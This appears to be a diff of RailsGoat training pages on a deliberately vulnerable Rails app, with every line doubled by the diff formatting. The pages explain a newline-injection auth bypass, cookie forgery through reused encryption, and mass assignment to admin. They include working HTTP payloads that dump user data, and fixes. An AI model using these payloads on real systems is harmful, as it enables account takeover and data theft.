<span style="background-color:yellow">@clean_token =~ /(.*?)-(.*)/</span>
|
||||||
<span style="background-color:yellow">id = $1</span>
|
<span style="background-color:yellow">id = $1</span>
|
||||||
hash = $2
|
hash = $2
|
||||||
(id && hash) ? true : false
|
(id && hash) ? true : false
|
||||||
<span style="background-color:yellow">check_hash(id, hash) ? true : false</span>
|
<span style="background-color:yellow">check_hash(id, hash) ? true : false</span>
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_hash(id, hash)
|
def check_hash(id, hash)
|
||||||
<span style="background-color:yellow">digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")</span>
|
<span style="background-color:yellow">digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")</span>
|
||||||
hash == digest
|
hash == digest
|
||||||
end
|
end
|
||||||
|
|
||||||
# We had some issues with the token and url encoding...
|
# We had some issues with the token and url encoding...
|
||||||
# this is an attempt to normalize the data.
|
# this is an attempt to normalize the data.
|
||||||
def unescape_token(token="")
|
def unescape_token(token="")
|
||||||
<span style="background-color:yellow">@clean_token = CGI::unescape(token)</span>
|
<span style="background-color:yellow">@clean_token = CGI::unescape(token)</span>
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This first validation, <i>valid_api_token</i>, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid. <br/><br/>Meaning, if the hash (<i>check_hash</i>) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid. <br/><br/>The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access.
|
This first validation, <i>valid_api_token</i>, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid. <br/><br/>Meaning, if the hash (<i>check_hash</i>) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid. <br/><br/>The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# Added a method to make it easy to figure out who the user is.
|
# Added a method to make it easy to figure out who the user is.
|
||||||
def extrapolate_user
|
def extrapolate_user
|
||||||
<span style="background-color:yellow">@user = User.find_by_id(@clean_token.split("-").first)</span>
|
<span style="background-color:yellow">@user = User.find_by_id(@clean_token.split("-").first)</span>
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: <i>%0a</i>).We meant or expected for a user to enter a token such as:
|
Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: <i>%0a</i>).We meant or expected for a user to enter a token such as:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
|
Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
However, the user actually enters:
|
However, the user actually enters:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
|
Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen (<i>"-"</i>) character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be <i>"2\n1"</i>. When performing a <i>find_by_*</i>, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user!
|
This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen (<i>"-"</i>) character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be <i>"2\n1"</i>. When performing a <i>find_by_*</i>, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user!
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -110,97 +110,97 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Broken Regular Expression ATTACK:</b></p>
|
<p><b> Broken Regular Expression ATTACK:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request <i>should</i> look like:
|
As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request <i>should</i> look like:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
GET /api/v1/users HTTP/1.1
|
GET /api/v1/users HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
<span style="background-color:yellow">Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc</span>
|
<span style="background-color:yellow">Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc</span>
|
||||||
Content-Length: 4
|
Content-Length: 4
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This is the response:
|
This is the response:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: application/json; charset=utf-8
|
Content-Type: application/json; charset=utf-8
|
||||||
X-UA-Compatible: IE=Edge
|
X-UA-Compatible: IE=Edge
|
||||||
ETag: "6b4caf343a20865de174b2b530b945dd"
|
ETag: "6b4caf343a20865de174b2b530b945dd"
|
||||||
Cache-Control: max-age=0, private, must-revalidate
|
Cache-Control: max-age=0, private, must-revalidate
|
||||||
X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
|
X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
|
||||||
X-Runtime: 0.008342
|
X-Runtime: 0.008342
|
||||||
Connection: close
|
Connection: close
|
||||||
|
|
||||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
|
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
|
||||||
"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
|
"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
|
||||||
"updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
"updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate <b>being</b> and admin by prepending 1%0a:
|
We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate <b>being</b> and admin by prepending 1%0a:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
GET /api/v1/users HTTP/1.1
|
GET /api/v1/users HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Authorization: Token token=<span style="background-color:yellow">1%0a</span>2-050ddd40584978fe9e82840b8b95abb98e4786dc
|
Authorization: Token token=<span style="background-color:yellow">1%0a</span>2-050ddd40584978fe9e82840b8b95abb98e4786dc
|
||||||
Content-Length: 4
|
Content-Length: 4
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The following is a response from the application (note - we get bonus points because as an admin we can retrieve <b> EVERYONE's</b> data):
|
The following is a response from the application (note - we get bonus points because as an admin we can retrieve <b> EVERYONE's</b> data):
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: application/json; charset=utf-8
|
Content-Type: application/json; charset=utf-8
|
||||||
X-UA-Compatible: IE=Edge
|
X-UA-Compatible: IE=Edge
|
||||||
ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
|
ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
|
||||||
Cache-Control: max-age=0, private, must-revalidate
|
Cache-Control: max-age=0, private, must-revalidate
|
||||||
X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
|
X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
|
||||||
X-Runtime: 0.009111
|
X-Runtime: 0.009111
|
||||||
Connection: close
|
Connection: close
|
||||||
|
|
||||||
[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
|
[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
|
||||||
"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
|
"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
|
||||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
|
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
|
||||||
"password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
|
"password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
|
||||||
"2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
|
"2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
|
||||||
"e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
|
"e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
|
||||||
"created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
|
"created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
|
||||||
"password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
|
"password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
|
||||||
"2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
|
"2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
|
||||||
"67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
|
"67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
|
||||||
"2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
|
"2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
|
||||||
"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
|
"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
|
||||||
"2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
|
"2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
|
||||||
"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
|
"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
|
||||||
</pre>
|
</pre>
|
||||||
<p><b> Broken Regular Expression SOLUTION:</b></p>
|
<p><b> Broken Regular Expression SOLUTION:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters.
|
There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def identify_user(token="")
|
def identify_user(token="")
|
||||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||||
# we will go ahead and unescape the user's token
|
# we will go ahead and unescape the user's token
|
||||||
unescape_token(token)
|
unescape_token(token)
|
||||||
@clean_token =~ /<span style="background-color:yellow">\A</span>(.*?)-(.*)<span style="background-color:yellow">\z</span>/
|
@clean_token =~ /<span style="background-color:yellow">\A</span>(.*?)-(.*)<span style="background-color:yellow">\z</span>/
|
||||||
id = $1
|
id = $1
|
||||||
hash = $2
|
hash = $2
|
||||||
(id && hash) ? true : false
|
(id && hash) ? true : false
|
||||||
check_hash(id, hash) ? true : false
|
check_hash(id, hash) ? true : false
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -214,6 +214,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -16,9 +16,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseCryptoOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseCryptoOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The Railsgoat application allows employees of Metacorp to choose the <b><i>Remember Me</b></i> option at login, which creates a cookie named <b><i>auth-token</i></b>. The encryption routine used to generate the <b><i>auth-token</i></b> allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user.
|
The Railsgoat application allows employees of Metacorp to choose the <b><i>Remember Me</b></i> option at login, which creates a cookie named <b><i>auth-token</i></b>. The encryption routine used to generate the <b><i>auth-token</i></b> allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,63 +32,63 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseCryptoTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseCryptoTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within the file lib/encryption.rb, there are two encryption related methods that we have exposed:
|
Within the file lib/encryption.rb, there are two encryption related methods that we have exposed:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# Added a re-usable encryption routine, shouldn't be an issue!
|
# Added a re-usable encryption routine, shouldn't be an issue!
|
||||||
def self.encrypt_sensitive_value(val="")
|
def self.encrypt_sensitive_value(val="")
|
||||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||||
aes.encrypt
|
aes.encrypt
|
||||||
aes.key = key
|
aes.key = key
|
||||||
aes.iv = iv if iv != nil
|
aes.iv = iv if iv != nil
|
||||||
new_val = aes.update("#{val}") + aes.final
|
new_val = aes.update("#{val}") + aes.final
|
||||||
Base64.strict_encode64(new_val).encode('utf-8')
|
Base64.strict_encode64(new_val).encode('utf-8')
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.decrypt_sensitive_value(val="")
|
def self.decrypt_sensitive_value(val="")
|
||||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||||
aes.decrypt
|
aes.decrypt
|
||||||
aes.key = key
|
aes.key = key
|
||||||
aes.iv = iv if iv != nil
|
aes.iv = iv if iv != nil
|
||||||
decoded = Base64.strict_decode64("#{val}")
|
decoded = Base64.strict_decode64("#{val}")
|
||||||
aes.update("#{decoded}") + aes.final
|
aes.update("#{decoded}") + aes.final
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's <b><i>auth_token</b></i> cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.<br/><br/>
|
We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's <b><i>auth_token</b></i> cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.<br/><br/>
|
||||||
Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
|
Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# callbacks
|
# callbacks
|
||||||
before_save <span style="background-color:yellow">:encrypt_bank_account_num</span>
|
before_save <span style="background-color:yellow">:encrypt_bank_account_num</span>
|
||||||
|
|
||||||
def encrypt_bank_account_num
|
def encrypt_bank_account_num
|
||||||
self.bank_account_num = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.bank_account_num)</span>
|
self.bank_account_num = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.bank_account_num)</span>
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Additionally, we render that encrypted value (purposefully) when the <b><i>show</i></b> action is created within the app/controllers/pay_controller.rb file:
|
Additionally, we render that encrypted value (purposefully) when the <b><i>show</i></b> action is created within the app/controllers/pay_controller.rb file:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def show
|
def show
|
||||||
respond_to do |format|
|
respond_to do |format|
|
||||||
format.json { render :json => {:user => <span style="background-color:yellow">current_user.pay.as_json</span>} }
|
format.json { render :json => {:user => <span style="background-color:yellow">current_user.pay.as_json</span>} }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Lastly, we re-use this same routine within the following code is used to create a user's <b><i>auth_token</b></i> cookie upon sign-up or creation (app/models/user.rb):
|
Lastly, we re-use this same routine within the following code is used to create a user's <b><i>auth_token</b></i> cookie upon sign-up or creation (app/models/user.rb):
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
before_create { generate_token(:auth_token) }
|
before_create { generate_token(:auth_token) }
|
||||||
|
|
||||||
def generate_token(column)
|
def generate_token(column)
|
||||||
begin
|
begin
|
||||||
self[column] = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.user_id)</span>
|
self[column] = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.user_id)</span>
|
||||||
end while User.exists?(column => self[column])
|
end while User.exists?(column => self[column])
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -103,17 +103,17 @@
|
|||||||
<div class="accordion-body collapse" id="collapseCryptoThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseCryptoThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Insecure Encryption Re-use ATTACK:</b></p>
|
<p><b> Insecure Encryption Re-use ATTACK:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Navigate to the <b><i>Pay</b></i> section of the application. Enter your bank account number but use the number <b><i>1</i></b> as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your <b><i>auth_token</i></b> cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality.
|
Navigate to the <b><i>Pay</b></i> section of the application. Enter your bank account number but use the number <b><i>1</i></b> as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your <b><i>auth_token</i></b> cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality.
|
||||||
</p>
|
</p>
|
||||||
<p><b> Insecure Encryption Re-use SOLUTION:</b></p>
|
<p><b> Insecure Encryption Re-use SOLUTION:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Create an entirely new encryption routine or create the SHA1 hash with a different salt.
|
Create an entirely new encryption routine or create the SHA1 hash with a different salt.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseCryptoFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseCryptoFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -127,6 +127,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation.
|
The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,29 +33,29 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
The bug is introduced within app/models/user.rb, seen on line 3 (:admin):
|
The bug is introduced within app/models/user.rb, seen on line 3 (:admin):
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= %q{
|
<%= %q{
|
||||||
class User < ActiveRecord::Base
|
class User < ActiveRecord::Base
|
||||||
attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
|
attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
|
||||||
} %>
|
} %>
|
||||||
</pre>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed:
|
Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
|
# Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
|
||||||
# is true or false thanks to ActiveRecord
|
# is true or false thanks to ActiveRecord
|
||||||
User.new(:email => "email@email.com",
|
User.new(:email => "email@email.com",
|
||||||
:admin => "true",
|
:admin => "true",
|
||||||
:password => "h4xx0r",
|
:password => "h4xx0r",
|
||||||
:first_name => "Captain",
|
:first_name => "Captain",
|
||||||
:last_name => "Crunch"
|
:last_name => "Crunch"
|
||||||
)
|
)
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -69,67 +69,67 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Mass Assignment ATTACK:</b></p>
|
<p><b> Mass Assignment ATTACK:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this...
|
Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this...
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
POST /users HTTP/1.1
|
POST /users HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Referer: http://railsgoat.dev/signup
|
Referer: http://railsgoat.dev/signup
|
||||||
Cookie: _railsgoat_session=[redacted]
|
Cookie: _railsgoat_session=[redacted]
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
Content-Length: 248
|
Content-Length: 248
|
||||||
|
|
||||||
utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit
|
utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit
|
||||||
</pre>
|
</pre>
|
||||||
<p>
|
<p>
|
||||||
